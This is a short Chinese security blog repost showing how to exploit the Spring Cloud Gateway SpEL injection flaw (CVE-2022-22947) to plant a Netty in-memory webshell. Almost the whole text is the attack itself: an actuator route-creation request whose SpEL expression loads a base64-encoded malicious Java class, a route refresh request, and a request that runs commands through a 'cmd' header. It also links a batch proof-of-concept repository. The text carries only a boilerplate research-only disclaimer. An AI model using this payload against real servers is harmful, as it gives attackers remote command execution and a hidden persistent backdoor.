SpringCloud GateWay SPEL RCE内存马注入

admin 2025年2月25日20:20:43评论11 views字数 9473阅读31分34秒阅读模式

>C:UsersAdministrator>java -version

java version "1.8.0_102"

Java(TM) SE Runtime Environment (build 1.8.0_102-b14)

Java HotSpot(TM) 64-Bit Server VM (build 25.102-b14, mixed mode)

内存马注入

POST /actuator/gateway/routes/txf HTTP/1.1
Host: 192.168.0.104:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 8192

{
  "predicates": [
    {
      "name""Path",
      "args": {
        "_genkey_0""/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name""RewritePath",
      "args": {
        "_genkey_0""#{T(org.springframework.cglib.core.ReflectUtils).defineClass('NettyMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBEgoAPgB8CAB9BwB+CABTBwB/CgAFAIAKAIEAggcAgwoAgQCECgCFAIYKAIUAhwoACACICgAFAIkIAIoKAIsAjAgASwoABQCNCgCOAIIKAI4AjwoABQCQCABOCACRBwCSCgAXAHwKAI4AkwgAlAcAlQgAlgsAlwCYCACZCACaCwCbAJwHAJ0LACEAnggAawoAnwCgCgCfAKEHAKIKAKMApAoAowClCgCmAKcKACYAqAgAqQoAJgCqCgAmAKsJAKwArQoAFwCuCgAbAK8LALAAsQcAsgkAswC0CQC1ALYKALcAuAoAMgC5CwC6AJ4JALsAvAgAvQoAnwC+CwCwAL8JAMAAwQsAwgDDBwDEBwDFAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MTmV0dHlNZW1zaGVsbDsBAAhkb0luamVjdAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAVX3ZhbCRkaXNwb3NhYmxlU2Vydm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tgAlOgS7ACZZuAAnGQS2ACi2ACm3ACoSK7YALLYALToFKisZBbIALrcAL7GnAAo6BBkEtgAwKyy5ADECAFexAAEADABNAFEAGwADAEMAAAAyAAwAAAA3AAcAOAAMADoAGgA7ACcAPABDAD4ATQA/AE4AQwBRAEEAUwBCAFgARQBgAEYARAAAAEgABwAnACcAawBZAAQAQwALAGwAWQAFAFMABQBWAFcABAAMAEwAbQBuAAMAAABhAEUARgAAAAAAYQBvAHAAAQAAAGEAWABMAAIAWgAAAA8AA/wATgcAcUIHAF76AAYAcgAAAAQAAQAbAAIAcwB0AAEAQgAAAJQABgAFAAAANrsAMlmyADMtLLIANLgANbcANjoEGQS5ADcBALIAOBI5tgA6VysZBLkAOwIAsgA8uQA9AgBXsQAAAAIAQwAAABIABAAAAEoAFABLACQATAA1AE0ARAAAADQABQAAADYARQBGAAAAAAA2AG8AcAABAAAANgB1AFkAAgAAADYAdgB3AAMAFAAiAHgAeQAEAAEAegAAAAIAew=='),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}",
        "_genkey_1""/${path}"
      }
    }
  ],
  "uri""https://wya.pl",
  "order": 0
}

刷新路由:

POST /actuator/gateway/refresh HTTP/1.1
Host:192.168.0.104:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


执行命令:

GET / HTTP/1.1
Host: 192.168.0.104:9000
cmd: ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


SpringCloud GateWay SPEL RCE内存马注入

批量poc 及 漏洞环境from:

https://github.com/tangxiaofeng7/CVE-2022-22947-Spring-Cloud-Gateway

原文始发于微信公众号(白帽子飙车路):SpringCloud GateWay SPEL RCE内存马注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日20:20:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpringCloud GateWay SPEL RCE内存马注入https://cn-sec.com/archives/844291.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息